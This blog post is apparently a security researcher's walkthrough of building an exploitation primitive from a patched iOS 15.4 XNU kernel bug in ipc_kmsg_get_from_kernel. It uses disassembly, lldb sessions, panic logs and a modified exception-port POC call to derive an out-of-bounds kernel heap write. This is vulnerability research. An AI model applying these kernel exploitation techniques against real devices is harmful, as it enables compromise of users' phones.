In my previous blogpost ipc_kmsg_get_from_kernel - iOS 15.4 I detailed the root cause analysis for the ipc_kmsg_get_from_kernel
vulnerability in XNU. We understood the fundamentals of the vulnerable flow, the involved structures, and the great (tweetable :P) POC by Synacktiv. We proved we can corrupt an ipc_kmsg
by corrupting ikm_header
and crash on writing to it.
Now, it’s time to build some exploitation primitives. In this blogpost we will build an overlapping between structures and see how it creates (a pretty disappointing, but exploitable) OOB write. Then, we discuss more elegant options.
Notes:
The first thing we need to do is to escape the ikm_header
corruption. As a reminder: right after the memcpy
, there is a dereference for write:
FFFFFFF007BD0164 ; memcpy(kmsg->ikm_header, msg, size);
FFFFFFF007BD0164 BL _memmove
FFFFFFF007BD0168 MOV W23, #0
FFFFFFF007BD016C LDR X16, [X22,#0x18]
FFFFFFF007BD0170 AUTDA X16, X24
FFFFFFF007BD0174 ; kmsg->ikm_header->msgh_size = size;
FFFFFFF007BD0174 STR W20, [X16,#4]
And because ikm_header
is PAC’d, I really want to avoid this. At least at this point, before I build more primitives. And it’s clear how we can avoid it - we need a smaller message size. With a smaller size, the underflow in the pointer arithmetic won’t get backward enough to corrupt ikm_header
, and it will remain intact.
This is a bit disappointing because it kills a really nice technique we could have done - we could have shaped two kmsg
s one after the other, use the second to corrupt the first, and simply receive it. However, every size
that will go backward beyond ikm_header
of the vulnerable kmsg
will corrupt ikm_header
, and we will crash immediately after the memcpy
.
First of all, let’s revisit the underflow in the pointer arithmetic in code. This is the source code (in ikm_set_header
funciton, in osfmk/ipc/ipc_kmsg.c
):
static void
ikm_set_header(
ipc_kmsg_t kmsg,
void *data,
mach_msg_size_t size)
{
mach_msg_size_t mtsize = size + MAX_TRAILER_SIZE;
if (data) {
kmsg->ikm_data = data;
kmsg->ikm_header = (mach_msg_header_t *)((uintptr_t)data + kmsg->ikm_size - mtsize);
} else {
assert(kmsg->ikm_size == IKM_SAVED_MSG_SIZE);
// underflow in pointer arithmetic happens here, where mtsize > kmsg->ikm_size
kmsg->ikm_header = (mach_msg_header_t *)(vm_offset_t)
(kmsg->ikm_inline_data + kmsg->ikm_size - mtsize);
}
}
This is the assembly:
__TEXT_EXEC:__text:FFFFFFF007BD00F0 ; w8 = size + MAX_TRAILER_SIZE (mtsize)
__TEXT_EXEC:__text:FFFFFFF007BD00F0 ADD W8, W20, #0x44 ; 'D'
__TEXT_EXEC:__text:FFFFFFF007BD00F4 ADD X9, X22, #0x18
__TEXT_EXEC:__text:FFFFFFF007BD00F8 LDR W10, [X22,#0x48]
__TEXT_EXEC:__text:FFFFFFF007BD00FC ; kmsg->ikm_inline_data + kmsg->ikm_size - mtsize
__TEXT_EXEC:__text:FFFFFFF007BD00FC ADD X10, X22, X10
__TEXT_EXEC:__text:FFFFFFF007BD0100 SUB X8, X10, X8
__TEXT_EXEC:__text:FFFFFFF007BD0104 ADD X8, X8, #0x5C ; '\'
__TEXT_EXEC:__text:FFFFFFF007BD0108 MOVK X9, #0x3CA5,LSL#48
__TEXT_EXEC:__text:FFFFFFF007BD010C PACDA X8, X9
__TEXT_EXEC:__text:FFFFFFF007BD0110 ; write to kmsg->ikm_header
__TEXT_EXEC:__text:FFFFFFF007BD0110 STR X8, [X22,#0x18]
So, clearly:
MAX_TRAILER_SIZE = 0x44
offsetof(ipc_kmsg, ikm_inline_data) = 0x5c
w8 = mtsize = size + MAX_TRAILER_SIZE
w10 = kmsg->ikm_size
Let’s see the pointer arithmetic underflow happens:
(lldb)
Process 1 stopped
* thread #6, stop reason = instruction step over
frame #0: 0xfffffff007bd00fc
-> 0xfffffff007bd00fc: add x10, x22, x10
0xfffffff007bd0100: sub x8, x10, x8
0xfffffff007bd0104: add x8, x8, #0x5c
0xfffffff007bd0108: movk x9, #0x3ca5, lsl #48
Target 0: (No executable module.) stopped.
(lldb) reg read x22
x22 = 0xffffffe21ad95b00
(lldb) reg read x10
x10 = 0x00000000000000a0
(lldb) reg read x8
x8 = 0x0000000000000194
In the case of exceptions and ARM_THREAD_STATE64
, we get mtsize
=0x194
, while the prealloc message is 0xa0
. Let’s see what happens if we would try a different message.
By examining the structures in osfmk/mach/arm/_structs.h
and the possible flavors, we can see all the other exception-related structures are too small. These are the flavors to choose from:
/*
* Flavors
*/
#define ARM_THREAD_STATE 1
#define ARM_UNIFIED_THREAD_STATE ARM_THREAD_STATE
#define ARM_VFP_STATE 2
#define ARM_EXCEPTION_STATE 3
#define ARM_DEBUG_STATE 4 /* pre-armv8 */
#define THREAD_STATE_NONE 5
#define ARM_THREAD_STATE64 6
#define ARM_EXCEPTION_STATE64 7
// ARM_THREAD_STATE_LAST 8 /* legacy */
#define ARM_THREAD_STATE32 9
#ifdef XNU_KERNEL_PRIVATE
#define X86_THREAD_STATE_NONE 13 /* i386/thread_status.h THREAD_STATE_NONE */
#endif /* XNU_KERNEL_PRIVATE */
For example, this is the size we get for ARM_DEBUG_STATE
:
* thread #2, stop reason = breakpoint 2.1
frame #0: 0xfffffff007bd00fc
-> 0xfffffff007bd00fc: add x10, x22, x10
0xfffffff007bd0100: sub x8, x10, x8
0xfffffff007bd0104: add x8, x8, #0x5c
0xfffffff007bd0108: movk x9, #0x3ca5, lsl #48
Target 0: (No executable module.) stopped.
(lldb) reg read x10
x10 = 0x00000000000000a0
(lldb) reg read x8
x8 = 0x000000000000007c
(lldb) c
ARM_DEBUG_STATE
is actually smaller than the prealloc kmsg of mktimer, so we do not corrupt any memory.
However, here we just checked the flavor parameter, not the behavior. Among the behaviors, we can choose among:
/*
* Machine-independent exception behaviors
*/
# define EXCEPTION_DEFAULT 1
/* Send a catch_exception_raise message including the identity.
*/
# define EXCEPTION_STATE 2
/* Send a catch_exception_raise_state message including the
* thread state.
*/
# define EXCEPTION_STATE_IDENTITY 3
/* Send a catch_exception_raise_state_identity message including
* the thread identity and state.
*/
# define EXCEPTION_IDENTITY_PROTECTED 4
/* Send a catch_exception_raise message including protected task
* and thread identity.
*/
#define MACH_EXCEPTION_ERRORS 0x40000000
/* include additional exception specific errors, not used yet. */
#define MACH_EXCEPTION_CODES 0x80000000
/* Send 64-bit code and subcode in the exception header */
#define MACH_EXCEPTION_MASK (MACH_EXCEPTION_CODES | MACH_EXCEPTION_ERRORS)
Interesting. So, EXCEPTION_STATE
and ARM_THREAD_STATE64
gives us 0x194
, which is too much. We expect that EXCEPTION_STATE_IDENTITY
would have bigger size (since it includes both the identity and the state). And indeed:
* thread #6, stop reason = breakpoint 2.1
frame #0: 0xfffffff007bd00fc
-> 0xfffffff007bd00fc: add x10, x22, x10
0xfffffff007bd0100: sub x8, x10, x8
0xfffffff007bd0104: add x8, x8, #0x5c
0xfffffff007bd0108: movk x9, #0x3ca5, lsl #48
Target 0: (No executable module.) stopped.
(lldb) reg read x10
x10 = 0x00000000000000a0
(lldb) reg read x8
x8 = 0x00000000000001c0
(lldb) breakpoint set -a 0xFFFFFFF007BD016C
Breakpoint 3: address = 0xfffffff007bd016c
Yep, mtsize
is 0x1c0
(which is indeed bigger than before). Of course, it means we immedialey crash on the dereference to ikm_header
, which happens right after the memcpy
. Again.
And if we try EXCEPTION_DEFAULT
:
* thread #5, stop reason = breakpoint 2.1
frame #0: 0xfffffff007bd00fc
-> 0xfffffff007bd00fc: add x10, x22, x10
0xfffffff007bd0100: sub x8, x10, x8
0xfffffff007bd0104: add x8, x8, #0x5c
0xfffffff007bd0108: movk x9, #0x3ca5, lsl #48
Target 0: (No executable module.) stopped.
(lldb) reg read x10
x10 = 0x00000000000000a0
(lldb) reg read x8
x8 = 0x00000000000000a0
(lldb)
Not big enough, there isn’t a corruption in this case. If we try EXCEPTION_IDENTITY_PROTECTED
:
* thread #1, stop reason = breakpoint 3.1
frame #0: 0xfffffff007bd00fc
-> 0xfffffff007bd00fc: add x10, x22, x10
0xfffffff007bd0100: sub x8, x10, x8
0xfffffff007bd0104: add x8, x8, #0x5c
0xfffffff007bd0108: movk x9, #0x3ca5, lsl #48
Target 0: (No executable module.) stopped.
(lldb) reg read x10
x10 = 0x00000000000000a0
(lldb) reg read x8
x8 = 0x000000000000007c
Even smaller than the prealloc buffer.
There are two interesting flags in the behaviors definitions:
#define MACH_EXCEPTION_ERRORS 0x40000000
/* include additional exception specific errors, not used yet. */
#define MACH_EXCEPTION_CODES 0x80000000
/* Send 64-bit code and subcode in the exception header */
We could use these in order to increase smaller messages, and corrupt a bit more from the ipc_kmsg
structure (but aim for something that comes after ikm_header
).
Let’s try out EXCEPTION_DEFAULT | MACH_EXCEPTION_CODES
:
* thread #6, stop reason = breakpoint 2.1
frame #0: 0xfffffff007bd00fc
-> 0xfffffff007bd00fc: add x10, x22, x10
0xfffffff007bd0100: sub x8, x10, x8
0xfffffff007bd0104: add x8, x8, #0x5c
0xfffffff007bd0108: movk x9, #0x3ca5, lsl #48
Target 0: (No executable module.) stopped.
(lldb) reg read x10
x10 = 0x00000000000000a0
(lldb) reg read x8
x8 = 0x00000000000000a8
(lldb)
Great! Interesting! We still have an underflow in the pointer arithmetic, but without the huge number we had before. This certainly won’t get backward enough to corrupt ikm_header
.
Let’s breakpoint on the corrupting memcpy
and dump the kmsg
to see what we have, and where we are start corrupting:
* thread #5, stop reason = breakpoint 2.1
frame #0: 0xfffffff007bd0164
-> 0xfffffff007bd0164: bl -0xff634e7f0
0xfffffff007bd0168: mov w23, #0x0
0xfffffff007bd016c: ldr x16, [x22, #0x18]
0xfffffff007bd0170: b -0xff59ebf10
Target 0: (No executable module.) stopped.
(lldb) x/14gx $x22
0xffffffe30148c700: 0x0000000000000000 0x0000000000000000
0xffffffe30148c710: 0xffea92e21b254640 0xfff8e5e30148c754
0xffffffe30148c720: 0x0000000000000000 0x0000000000000000
0xffffffe30148c730: 0x0000000000000000 0x0000000000000000
0xffffffe30148c740: 0x0000000000000000 0x00000000000000a0
0xffffffe30148c750: 0x0000000000000000 0x0000000000000000
0xffffffe30148c760: 0x0000000000000000 0x0000000000000000
(lldb) reg read x0
x0 = 0xffffffe30148c754 <-- dst
(lldb) reg read x2
x2 = 0x0000000000000064 <-- length
(lldb) reg read x22
x22 = 0xffffffe30148c700 <-- ipc_kmsg
(lldb)
Interesting. So, we are starting to corrupt from offset 0x54
of ipc_kmsg
, and we actually are 0xc
bytes ahead of the size (which is a bit unfortunate, could be interesting to corrupt ikm_size
).
As I said in the previous blogpost, there are other things the kernel could send to an mqueue, and their size could be controlled (to some degree). However, this 8-bytes-corruption leads to a very interesting panic (we are writing more than 8 bytes, but let’s focus on corrupting ipc_kmsg
fields from offset 0x54
to 0x5c
, which is where ikm_inline_data
starts). So I would like to share the analysis of what’s going on, for fun.
Let’s view the corruption carefully - dump the kmsg before and after the memcpy
:
(lldb) x/14gx $x22
0xffffffe21ac1cd00: 0x0000000000000000 0x0000000000000000
0xffffffe21ac1cd10: 0xffe7d9e3e51a8780 0xffef22e21ac1cd54
0xffffffe21ac1cd20: 0x0000000000000000 0x0000000000000000
0xffffffe21ac1cd30: 0x0000000000000000 0x0000000000000000
0xffffffe21ac1cd40: 0x0000000000000000 0x00000000000000a0
0xffffffe21ac1cd50: 0x0000000000000000 0x0000000000000000
0xffffffe21ac1cd60: 0x0000000000000000 0x0000000000000000
Continue, and dump the kmsg again, after the memcpy
:
* thread #5, stop reason = breakpoint 4.1
frame #0: 0xfffffff007bd0168
-> 0xfffffff007bd0168: mov w23, #0x0
0xfffffff007bd016c: ldr x16, [x22, #0x18]
0xfffffff007bd0170: b -0xff59ed428
0xfffffff007bd0174: str w20, [x16, #0x4]
Target 0: (No executable module.) stopped.
(lldb) x/14gx $x22
0xffffffe21ac1cd00: 0x0000000000000000 0x0000000000000000
0xffffffe21ac1cd10: 0xffe7d9e3e51a8780 0xffef22e21ac1cd54
0xffffffe21ac1cd20: 0x0000000000000000 0x0000000000000000
0xffffffe21ac1cd30: 0x0000000000000000 0x0000000000000000
0xffffffe21ac1cd40: 0x0000000000000000 0x00000000000000a0
0xffffffe21ac1cd50: 0x8000151300000000 0xe51a878000000000
0xffffffe21ac1cd60: 0x00000000ffffffe3 0x0000000000000000
(lldb)
Now, if we carry on with the flow, we get an interesting panic, immediately:
panic(cpu 4 caller 0xfffffff00833fec0): Kernel data abort. at pc 0xfffffff009cb185c, lr 0xff9ccaf007bd0660 (saved state: 0xffffffeb16282360)
x0: 0xffffffe22bc1cdb8 x1: 0xfffffff00700ba78 x2: 0x000000000000003c x3: 0xffffffe22bc1cdc0
x4: 0x0000000000000000 x5: 0x0000000000000008 x6: 0x0000000000000000 x7: 0xffffffeb16282648
x8: 0x0000000000000000 x9: 0x0000000000000001 x10: 0x0000000000000000 x11: 0x0000000000000000
x12: 0x0000000800000000 x13: 0x0000000000000000 x14: 0x0000000000000001 x15: 0x0000000000000000
x16: 0xffffffe21ac1cd54 x17: 0x3ca5ffe21ac1cd18 x18: 0x0000000000000000 x19: 0xffffffe21ac1cd00
x20: 0x0000000000000000 x21: 0xffffffe22bc1cdb8 x22: 0x3ca5ffe21ac1cd18 x23: 0xffffffe21ac1cd18
x24: 0x0000000000000002 x25: 0xffffffe21ac1cd98 x26: 0xffffffe21ac1cd18 x27: 0x3ca5ffe21ac1cd18
x28: 0x0000000080111513 fp: 0xffffffeb162826b0 lr: 0xff9ccaf007bd0660 sp: 0xffffffeb162826b0
pc: 0xfffffff009cb185c cpsr: 0x20401204 esr: 0x96000046 far: 0xffffffe22bc1cdb8
Debugger message: panic
Device: D17
Hardware Model: iPhone14,5
Looking at pc
, we see it’s the following instruction, in the memcpy
function:
FFFFFFF009CB185C STP X12, X13, [X0]
While x0
is unmapped memory. Interesting, looks like something called memcpy
with a problematic dst
(we can see from the registers in the panic that the length
field is very low and reasonble. And x0
doesn’t seem like it crossed a page boundary, so it doesn’t seem like length
is the problem here).
Looking at lr
and the callstack, we see exactly the callsite that calls memcpy
- it’s in ikm_sign
; specifically, in ipc_kmsg_init_trailer
(which is inlined in the kernelcache):
FFFFFFF007BD05D0 BL zone_require
FFFFFFF007BD05D4 MOV X23, X19
FFFFFFF007BD05D8 LDR X8, [X23,#0x18]!
FFFFFFF007BD05DC ; inlined ipc_kmsg_init_trailer
FFFFFFF007BD05DC MOV X16, X8
FFFFFFF007BD05E0 MOV X22, X23
FFFFFFF007BD05E4 MOVK X22, #0x3CA5,LSL#48
FFFFFFF007BD05E8 MOV X17, X23
FFFFFFF007BD05EC MOVK X17, #0x3CA5,LSL#48
FFFFFFF007BD05F0 AUTDA X16, X17
FFFFFFF007BD05F4 LDR W9, [X16,#4]
FFFFFFF007BD05F8 CMP X8, #0
FFFFFFF007BD05FC CSEL X8, XZR, X16, EQ
FFFFFFF007BD0600 ; x9 here is 0x11000064, goes OOB
FFFFFFF007BD0600 ADD X21, X8, X9
FFFFFFF007BD0604 CBZ X20, call_memcpy
...
FFFFFFF007BD064C call_memcpy
FFFFFFF007BD064C ADRL X1, KERNEL_TRAILER_TEMPLATE ; void *
FFFFFFF007BD0654 MOV X0, X21 ; void *
FFFFFFF007BD0658 MOV W2, #0x44 ; 'D' ; size_t
FFFFFFF007BD065C BL _memmove
And this is the ipc_kmsg_init_trailer
function:
/*
* Routine: ipc_kmsg_init_trailer
* Purpose:
* Initiailizes a trailer in a message safely.
*/
void
ipc_kmsg_init_trailer(
ipc_kmsg_t kmsg,
mach_msg_size_t size,
task_t sender)
{
static const mach_msg_max_trailer_t KERNEL_TRAILER_TEMPLATE = {
.msgh_trailer_type = MACH_MSG_TRAILER_FORMAT_0,
.msgh_trailer_size = MACH_MSG_TRAILER_MINIMUM_SIZE,
.msgh_sender = KERNEL_SECURITY_TOKEN_VALUE,
.msgh_audit = KERNEL_AUDIT_TOKEN_VALUE
};
mach_msg_max_trailer_t *trailer;
/*
* I reserve for the trailer the largest space (MAX_TRAILER_SIZE)
* However, the internal size field of the trailer (msgh_trailer_size)
* is initialized to the minimum (sizeof(mach_msg_trailer_t)), to optimize
* the cases where no implicit data is requested.
*/
trailer = (mach_msg_max_trailer_t *)((vm_offset_t)kmsg->ikm_header + size);
if (sender == TASK_NULL) {
memcpy(trailer, &KERNEL_TRAILER_TEMPLATE, sizeof(*trailer));
} else {
bzero(trailer, sizeof(*trailer));
trailer->msgh_trailer_type = MACH_MSG_TRAILER_FORMAT_0;
trailer->msgh_trailer_size = MACH_MSG_TRAILER_MINIMUM_SIZE;
trailer->msgh_sender = *task_get_sec_token(sender);
trailer->msgh_audit = *task_get_audit_token(sender);
}
}
We can re-run our POC and set a breakpoint on this code; specifically, on the calculation of dst
(i.e. trailer
), and see what’s going on. Let’s start with the corruption itself, so we’ll have our ipc_kmsg
address:
* thread #5, stop reason = breakpoint 2.1
frame #0: 0xfffffff007bd0164
-> 0xfffffff007bd0164: bl -0xff634e7f0
0xfffffff007bd0168: mov w23, #0x0
0xfffffff007bd016c: ldr x16, [x22, #0x18]
0xfffffff007bd0170: b -0xff59ec7c0
Target 0: (No executable module.) stopped.
(lldb) x/14gx $x22
0xffffffe301141f00: 0x0000000000000000 0x0000000000000000
0xffffffe301141f10: 0xfff8bbe30199e6c0 0xfffd4be301141f54
0xffffffe301141f20: 0x0000000000000000 0x0000000000000000
0xffffffe301141f30: 0x0000000000000000 0x0000000000000000
0xffffffe301141f40: 0x0000000000000000 0x00000000000000a0
0xffffffe301141f50: 0x0000000000000000 0x0000000000000000
0xffffffe301141f60: 0x0000000000000000 0x0000000000000000
(lldb)
And now, the callsite that triggers the problematic memcpy
:
* thread #5, stop reason = breakpoint 3.1
frame #0: 0xfffffff007bd0600
-> 0xfffffff007bd0600: add x21, x8, x9
0xfffffff007bd0604: cbz x20, -0xff842f9b4
0xfffffff007bd0608: movi.2d v0, #0000000000000000
0xfffffff007bd060c: str wzr, [x21, #0x40]
Target 0: (No executable module.) stopped.
(lldb) reg read x16
x16 = 0xffffffe301141f54
(lldb) reg read x8
x8 = 0xffffffe301141f54
(lldb) reg read x9
x9 = 0x0000000011000064
(lldb)
Indeed - our corruption caused ipc_kmsg_init_trailer
to increase our kmsg->ikm_header
pointer by 0x0000000011000064
, and calls memcpy
to write data to it!
If we could have sender
!= TASK_NULL
we could corrupt with non-zero values. However, for that, we would need to send the message from userspace (which we can’t, the sender for an exception will always be the kernel). So it means we have to use the KERNEL_TRAILER_TEMPLATE
, which means - we are corrupting something arbitrary with zeros. Therefore:
The new primitive: we can write 0x44 zeros to kmsg->ikm_header+0x11000064
. And yes, it’s always 0x11000064
.
That’s obviously exploitable - we can shape the kernel heap and drop interesting structures at this offset. However, before the fun starts, it’s important to understand why we can’t change this weird offset.
Of course, we have to understand where this offset comes from. Remember, we start to corrupt from offset +0x54
of ipc_kmsg
(which is really almost the end of the structure).
A reminder - this is the end of ipc_kmsg
:
...
uintptr_t ikm_signature; /* sig for all kernel-processed data */
ipc_object_copyin_flags_t ikm_flags;
mach_msg_qos_t ikm_qos_override; /* qos override on this kmsg */
mach_msg_type_name_t ikm_voucher_type : 8; /* disposition type the voucher came in with */
uint8_t ikm_inline_data[] __attribute__((aligned(4)));
};
And the offsets:
+0x50 - ikm_signature
+0x58 - ikm_flags
+0x5a - ikm_qos_override
+0x5b - ikm_voucher_type
+0x5c - ikm_inline_data
Meaning, we are corrupting: ikm_signature
(4 bytes, MSBs) ikm_flags
, ikm_qos_override
, and ikm_voucher_type
(and keep going, but that’s less important for now).
Another important reminder is the roles of size
- as I showed in the previous blogpost, ikm_header
pointer is moved backward because mtsize
> kmsg->ikm_size
, in the pointer arithmetic in ikm_set_header
.
The reason it’s so important, is that kmsg->ikm_header->msgh_size
is this big offset we try to understand; this is the weird 0x11000064
. And as we know, ikm_header
points to our corruption (no, this value is not part of our corruption data). Let’s see it live: here is a kernel debugger breaked on the code right after the memcpy
(in ipc_kmsg_get_from_kernel
):
* thread #4, stop reason = breakpoint 2.1
frame #0: 0xfffffff007bd016c
-> 0xfffffff007bd016c: ldr x16, [x22, #0x18]
0xfffffff007bd0170: b -0xff59ed600
0xfffffff007bd0174: str w20, [x16, #0x4]
0xfffffff007bd0178: str x22, [x19]
Target 0: (No executable module.) stopped.
(lldb) x/4gx $x22
0xffffffe21a612000: 0x0000000000000000 0x0000000000000000
0xffffffe21a612010: 0xffac11e21a881900 0xffb91be21a612054 <-- ikm_header!
(lldb) x/10gx 0xffffffe21a612054
0xffffffe21a612054: 0x0000000080001513 0xffffffe21a881900
0xffffffe21a612064: 0x0000000000000000 0x0000096500000000
0xffffffe21a612074: 0x1a9aa08000000002 0x00130000ffffffe2
0xffffffe21a612084: 0x1a96d40000000000 0x00130000ffffffe2
0xffffffe21a612094: 0x0000000000000000 0x0000000600000001
Here, x22
is our corrupted kmsg
, right after the memcpy
(note that offset 0x18
is of course ikm_header
). And as you recall, we start to corrupt from offset 0x54
. Let’s continue with our debugger, and set a breakpoint on ikm_sign
(in the inlined ipc_kmsg_init_trailer
part), to see our huge offset in ikm_header
:
* thread #4, stop reason = breakpoint 3.1
frame #0: 0xfffffff007bd0600
-> 0xfffffff007bd0600: add x21, x8, x9
0xfffffff007bd0604: cbz x20, -0xff842f9b4
0xfffffff007bd0608: movi.2d v0, #0000000000000000
0xfffffff007bd060c: str wzr, [x21, #0x40]
Target 0: (No executable module.) stopped.
(lldb) reg read x16
x16 = 0xffffffe21a612054
(lldb) x/10gx $x16
0xffffffe21a612054: 0x1100006480111211 0xffffffe21a881900
0xffffffe21a612064: 0xffffffe21a9c85a0 0x0000096500000000
0xffffffe21a612074: 0x1a9aa08000000002 0x00110000ffffffe2
0xffffffe21a612084: 0x1a96d40000000000 0x00110000ffffffe2
0xffffffe21a612094: 0x0000000000000000 0x0000000600000001
(lldb)
Bingo! In this code, x16
is read from our kmsg
as ikm_header
, validated (using AUTDA
), and then used to read kmsg->ikm_header->msgh_size
! Here is the code again:
FFFFFFF007BD05D0 BL zone_require
FFFFFFF007BD05D4 ; inlined ipc_kmsg_init_trailer
FFFFFFF007BD05D4 MOV X23, X19
FFFFFFF007BD05D8 ; fetch kmsg->ikm_header
FFFFFFF007BD05D8 LDR X8, [X23,#0x18]!
FFFFFFF007BD05DC MOV X16, X8
FFFFFFF007BD05E0 MOV X22, X23
FFFFFFF007BD05E4 MOVK X22, #0x3CA5,LSL#48
FFFFFFF007BD05E8 MOV X17, X23
FFFFFFF007BD05EC MOVK X17, #0x3CA5,LSL#48
FFFFFFF007BD05F0 ; validate ikm_header PAC signature
FFFFFFF007BD05F0 AUTDA X16, X17
FFFFFFF007BD05F4 ; fetch kmsg->ikm_header->msgh_size
FFFFFFF007BD05F4 LDR W9, [X16,#4]
FFFFFFF007BD05F8 CMP X8, #0
FFFFFFF007BD05FC CSEL X8, XZR, X16, EQ
FFFFFFF007BD0600 ; x9 here is 0x11000064, goes OOB
FFFFFFF007BD0600 ADD X21, X8, X9
FFFFFFF007BD0604 ; check if sender == TASK_NULL
FFFFFFF007BD0604 CBZ X20, call_memcpy
So, we can see some fields have changed; some code modified our corrupted value. It’s time to understand why and how.
As we saw in the previous blogpost, we shifted ikm_header
backward, so it’ll point to the middle of ipc_kmsg
. The scenario we created here is that ikm_header
overlaps with a part of the ipc_kmsg
structure. Therefore, when we speak about “different/better mach messages”, we basically mean “a message with size that gives a better overlap”.
For instance, the use of EXCEPTION_STATE
and ARM_THREAD_STATE64
gave a really bad overlap - we corrupted and immediately dereferenced kmsg->ikm_header
. Without a PAC bypass, this is not exploitable.
Now, with EXCEPTION_DEFAULT | MACH_EXCEPTION_CODES
, we get a different overlap (in which we do not corrupt kmsg->ikm_header
). And this is the interesting part - the code that modifies kmsg->ikm_header->msgh_size
doesn’t intend to change msgh_size
to this huge value, it intends to change another thing. Actually, two things. From two different structures.
Let’s see this live. We can re-run our POC, and set a watchpoint on ikm_header->msg_size
:
Process 1 stopped
* thread #6, stop reason = watchpoint 2
frame #0: 0xfffffff007bd0174
-> 0xfffffff007bd0174: str w20, [x16, #0x4]
0xfffffff007bd0178: str x22, [x19]
0xfffffff007bd017c: mov x0, x23
0xfffffff007bd0180: ldp x29, x30, [sp, #0x40]
Target 0: (No executable module.) stopped.
(lldb) reg read x16
x16 = 0xffffffe3e5dd2754
(lldb) reg read x20
x20 = 0x0000000000000064
(lldb) x/2gx $x16
0xffffffe3e5dd2754: 0x0000000080001513 0xffffffe1351335c0
(lldb) c
Process 1 resuming
Watchpoint 2 hit:
old value: 3824459607317676032
new value: 3824459607317676132
Process 1 stopped
* thread #6, stop reason = watchpoint 2
frame #0: 0xfffffff007bfec50
-> 0xfffffff007bfec50: strb w10, [x8, #0x5b]
0xfffffff007bfec54: ldr x16, [x8, #0x18]
0xfffffff007bfec58: nop
0xfffffff007bfec5c: ldr w8, [x16]
Target 0: (No executable module.) stopped.
(lldb) reg read x8
x8 = 0xffffffe3e5dd2700
(lldb) reg read x10
x10 = 0x0000000000000011
(lldb) c
Process 1 resuming
Process 1 stopped
* thread #6, stop reason = breakpoint 3.1
frame #0: 0xfffffff007bd0600
-> 0xfffffff007bd0600: add x21, x8, x9
0xfffffff007bd0604: cbz x20, -0xff842f9b4
0xfffffff007bd0608: movi.2d v0, #0000000000000000
0xfffffff007bd060c: str wzr, [x21, #0x40]
Target 0: (No executable module.) stopped.
(lldb) reg read x9
x9 = 0x0000000011000064
(lldb)
Fantastic! Now everything is clear. Our value 0x11000064
is combined out of two values: 0x11
and 0x64
, and the code sets these two values as the following fields:
ipc_kmsg
, which we know is ikm_voucher_type
mach_msg_header_t
(the type of ikm_header
), which is msgh_size
Makes perfect sense. 0x64 is indeed our size (0xa8
- 0x44
), and 0x11 is the type MACH_MSG_TYPE_MOVE_SEND
, which is set in ipc_kmsg_set_voucher_port
. In our case, it’s MACH_MSG_TYPE_MOVE_SEND
, which defined to be (/osfmk/mach/message.h
):
#define MACH_MSG_TYPE_MOVE_RECEIVE 16 /* Must hold receive right */
#define MACH_MSG_TYPE_MOVE_SEND 17 /* Must hold send right(s) */
#define MACH_MSG_TYPE_MOVE_SEND_ONCE 18 /* Must hold sendonce right */
#define MACH_MSG_TYPE_COPY_SEND 19 /* Must hold send right(s) */
#define MACH_MSG_TYPE_MAKE_SEND 20 /* Must hold receive right */
#define MACH_MSG_TYPE_MAKE_SEND_ONCE 21 /* Must hold receive right */
#define MACH_MSG_TYPE_COPY_RECEIVE 22 /* NOT VALID */
#define MACH_MSG_TYPE_DISPOSE_RECEIVE 24 /* must hold receive right */
#define MACH_MSG_TYPE_DISPOSE_SEND 25 /* must hold send right(s) */
#define MACH_MSG_TYPE_DISPOSE_SEND_ONCE 26 /* must hold sendonce right */
#define MACH_MSG_TYPE_PORT_NONE 0
Now that we understand this offset, we could discuss changing it. Unfortunaltey, that seems like a very short discussion:
ikm_voucher_type
has to be move-send from the kernel; however, even if not, I’m pretty sure it can’t be move_receive, and any other value is higher (which will make our offset much bigger). And that doesn’t help.Looks like 0x11000064
it is.
Note that all of that is with the very same POC (see previous blogpost), with the only modifcation of the call to thread_set_exception_ports
. Instead of EXCEPTION_STATE
, we use EXCEPTION_DEFAULT | MACH_EXCEPTION_CODES
:
thread_set_exception_ports(mach_thread_self(),
EXC_MASK_ALL,
*(int *)arg,
EXCEPTION_DEFAULT | MACH_EXCEPTION_CODES,
ARM_THREAD_STATE64);
So, we have an OOB write on the kernel heap, with the following restrictions:
mach_msg_max_trailer_t
) == 0x44
)0x11000064
)At least, unlike the write to ikm_header
, this is clearly exploitable.
And again - keep in mind that all of the above flow is deterministic. The probabilistic part starts now, with shaping.
Well, we need shaping. Without shaping, you always get the panic in memcpy
while trying to write to *(kmsg->ikm_header+0x11000064)
. After shaping, we don’t crash on the write (because we have mapped memory at this offset), and we can keep going. If we shape some structure to be at this offset, we can start building interesting primitives. Eventually, we could leak kernel pointers and build arbitrary read/write. And as we all know - arbitrary read/write always leads to game over.
While this OOB is clearly exploitable, I believe we could get much better primitives. I still have this part from Ian’s blog on my mind:
“There are only and handful of places where the kernel actually sends userspace a mach message. There are various types of notification messages like IODataQueue data-available notifications, IOServiceUserNotifications and no-senders notifications. These usually only contains a small amount of user-controlled data. The only message types sent by the kernel which seem to contain a decent amount of user-controlled data are exception messages.”
Here, we just considered exceptions. That makes sense if you care about controlling the content (as I showed in my previous blogpost, exceptions have the thread’s state, which means you can control the content just by setting values in your GPRs, etc.). However, we don’t really care about the content of the corruption here (at least, we are not strict about it); the overlap between ikm_header
and part of ipc_kmsg
could give us really powerful and stable primitives. So, if we could find an IOKit service that:
ikm_header
and gives us a better overlap,then we could have a much better and more elegant exploit. And I prefer to look for more messages that might give us better primitives before diving into not-so-much-fun spraying. But this is for another time.
In this blogpost, we found another message we can use, which is small enough so that we are not corrupting ikm_header
. As we saw, this is essential, because ipc_kmsg_get_from_kernel
dereferences ikm_header
for write right after the corrupting memcpy
, and ikm_header
is PAC’d.
With the exploitation primitive in hand (writing 0x44
zeros at offset 0x11000064
) we can drop in that offset many interesting structures, leak kernel pointers, and build arbitrary read/write. True, we have many restrictions on the corruption, but this is clearly more than enough for an exploit. However, before we dive into that, I would like to look for better overlaps :)
It’s not relevant for iOS 15.3.1, but I want to mention that the trivial shapes we can do on earlier versions probably won’t be as stable on the latest iOS. In iOS 15.5, Apple randomized the general layout of the kernel map (tweet). Specifically, this vulnerability was patched on iOS 15.4, so it doesn’t affect it. I just wanted to mention Apple’s great work on the kernel heap here because, for other cases, this could be highly relevant for stability.
I hope you enjoyed this blogpost.
Thanks,
Saar Amar